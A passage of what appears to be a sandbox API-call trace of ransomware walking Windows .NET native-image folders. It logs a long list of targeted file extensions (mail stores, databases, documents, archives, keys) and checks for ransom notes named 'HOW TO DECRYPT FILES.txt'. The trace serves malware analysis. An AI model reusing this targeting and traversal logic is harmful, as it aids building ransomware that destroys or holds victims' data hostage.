(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.qba") returned 0 [0121.980] lstrlenA (lpString="*.qba") returned 5 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.qby") returned 0 [0121.980] lstrlenA (lpString="*.qby") returned 5 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.qbj") returned 0 [0121.980] lstrlenA (lpString="*.qbj") returned 5 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.ofx") returned 0 [0121.980] lstrlenA (lpString="*.ofx") returned 5 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.qif") returned 0 [0121.980] lstrlenA (lpString="*.qif") returned 5 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.mye") returned 0 [0121.980] lstrlenA (lpString="*.mye") returned 5 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.mbox") returned 0 [0121.980] lstrlenA (lpString="*.mbox") returned 6 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.eml") returned 0 [0121.980] lstrlenA (lpString="*.eml") returned 5 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.pst") returned 0 [0121.980] lstrlenA (lpString="*.pst") returned 5 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.ost") returned 0 [0121.980] lstrlenA (lpString="*.ost") returned 5 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.idx") returned 0 [0121.980] lstrlenA (lpString="*.idx") returned 5 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.dbx") returned 0 [0121.980] lstrlenA (lpString="*.dbx") returned 5 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.sql") returned 0 [0121.980] lstrlenA (lpString="*.sql") returned 5 [0121.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.mdb") returned 0 [0121.981] lstrlenA (lpString="*.mdb") returned 5 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.fdb") returned 0 [0121.981] lstrlenA (lpString="*.fdb") returned 5 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.wab") returned 0 [0121.981] lstrlenA (lpString="*.wab") returned 5 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.dat") returned 0 [0121.981] lstrlenA (lpString="*.dat") returned 5 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.txt") returned 0 [0121.981] lstrlenA (lpString="*.txt") returned 5 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0121.981] lstrlenA (lpString="*.jpeg") returned 6 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.jpg") returned 0 [0121.981] lstrlenA (lpString="*.jpg") returned 5 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.png") returned 0 [0121.981] lstrlenA (lpString="*.png") returned 5 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.php") returned 0 [0121.981] lstrlenA (lpString="*.php") returned 5 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.cs") returned 0 [0121.981] lstrlenA (lpString="*.cs") returned 4 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.cpp") returned 0 [0121.981] lstrlenA (lpString="*.cpp") returned 5 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.rar") returned 0 [0121.981] lstrlenA (lpString="*.rar") returned 5 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.zip") returned 0 [0121.981] lstrlenA (lpString="*.zip") returned 5 [0121.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.html") returned 0 [0121.982] lstrlenA (lpString="*.html") returned 6 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.htm") returned 0 [0121.982] lstrlenA (lpString="*.htm") returned 5 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0121.982] lstrlenA (lpString="*.xlsx") returned 6 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.xls") returned 0 [0121.982] lstrlenA (lpString="*.xls") returned 5 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.mp4") returned 0 [0121.982] lstrlenA (lpString="*.mp4") returned 5 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.ppt") returned 0 [0121.982] lstrlenA (lpString="*.ppt") returned 5 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.pptx") returned 0 [0121.982] lstrlenA (lpString="*.pptx") returned 6 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.doc") returned 0 [0121.982] lstrlenA (lpString="*.doc") returned 5 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.dot") returned 0 [0121.982] lstrlenA (lpString="*.dot") returned 5 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.docx") returned 0 [0121.982] lstrlenA (lpString="*.docx") returned 6 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.7z") returned 0 [0121.982] lstrlenA (lpString="*.7z") returned 4 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.tar") returned 0 [0121.982] lstrlenA (lpString="*.tar") returned 5 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.bz2") returned 0 [0121.982] lstrlenA (lpString="*.bz2") returned 5 [0121.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.gz") returned 0 [0121.983] lstrlenA (lpString="*.gz") returned 4 [0121.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.mkv") returned 0 [0121.983] lstrlenA (lpString="*.mkv") returned 5 [0121.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.eml") returned 0 [0121.983] lstrlenA (lpString="*.eml") returned 5 [0121.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.msg") returned 0 [0121.983] lstrlenA (lpString="*.msg") returned 5 [0121.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.edb") returned 0 [0121.983] lstrlenA (lpString="*.edb") returned 5 [0121.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.accdb") returned 0 [0121.983] lstrlenA (lpString="*.accdb") returned 7 [0121.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.odb") returned 0 [0121.983] lstrlenA (lpString="*.odb") returned 5 [0121.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.java") returned 0 [0121.983] lstrlenA (lpString="*.java") returned 6 [0121.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.asm") returned 0 [0121.983] lstrlenA (lpString="*.asm") returned 5 [0121.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.pfx") returned 0 [0121.983] lstrlenA (lpString="*.pfx") returned 5 [0121.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.pem") returned 0 [0121.984] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadec1130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadec1130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadec1130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DataVisualization.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0121.984] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.984] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DataVisualization.Design.ni.dll.aux") returned -1 [0121.984] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DataVisualization.Design.ni.dll.aux") returned -1 [0121.984] lstrcmpiA (lpString1="", lpString2="System.Web.DataVisualization.Design.ni.dll.aux") returned -1 [0121.984] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll") returned="System.Web.DataVisualization.Design.ni.dll" [0121.984] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\" [0121.984] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\") returned="" [0121.984] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\HOW TO DECRYPT FILES.txt" [0121.984] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\how to decrypt files.txt")) returned 0x20 [0121.984] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\", lpString2="System.Web.DataVisualization.Design.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll.aux" [0121.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll.aux", pszSpec="*.ems") returned 0 [0121.985] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadec1130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadec1130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadec1130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DataVisualization.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0121.985] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0121.985] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadec1130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadec1130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadec1130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="966cf3eae0dc46e589021e83a9ecdd06", cAlternateFileName="966CF3~1")) returned 0 [0121.985] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0121.985] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac08da10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xac08da10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xac08da10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.188dd00b#", cAlternateFileName="SYSTEM~1.188")) returned 1 [0121.985] lstrcmpA (lpString1=".", lpString2="System.Web.188dd00b#") returned -1 [0121.985] lstrcmpA (lpString1="..", lpString2="System.Web.188dd00b#") returned -1 [0121.985] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0121.985] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.188dd00b#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#" [0121.985] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac08da10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xac08da10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xac08da10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0121.987] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.987] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac08da10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xac08da10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xac08da10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.987] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.987] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.987] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac08da10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xac08da10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xac08da10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="520a036265c8b10ea599074a25d6aff6", cAlternateFileName="520A03~1")) returned 1 [0121.987] lstrcmpA (lpString1=".", lpString2="520a036265c8b10ea599074a25d6aff6") returned -1 [0121.987] lstrcmpA (lpString1="..", lpString2="520a036265c8b10ea599074a25d6aff6") returned -1 [0121.987] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\*.*") returned="*.*" [0121.987] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\", lpString2="520a036265c8b10ea599074a25d6aff6" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6" [0121.988] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac08da10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xac08da10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xac08da10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0121.989] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.989] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac08da10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xac08da10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xac08da10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.990] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.990] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.990] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0678b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xac0678b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xac08da10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Abstractions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0121.990] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.990] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Abstractions.ni.dll") returned -1 [0121.990] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Abstractions.ni.dll") returned -1 [0121.990] lstrcmpiA (lpString1="", lpString2="System.Web.Abstractions.ni.dll") returned -1 [0121.990] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\*.*") returned="*.*" [0121.990] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\" [0121.990] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\") returned="" [0121.990] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\HOW TO DECRYPT FILES.txt" [0121.990] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\HOW TO DECRYPT FILES.txt" (normalized: 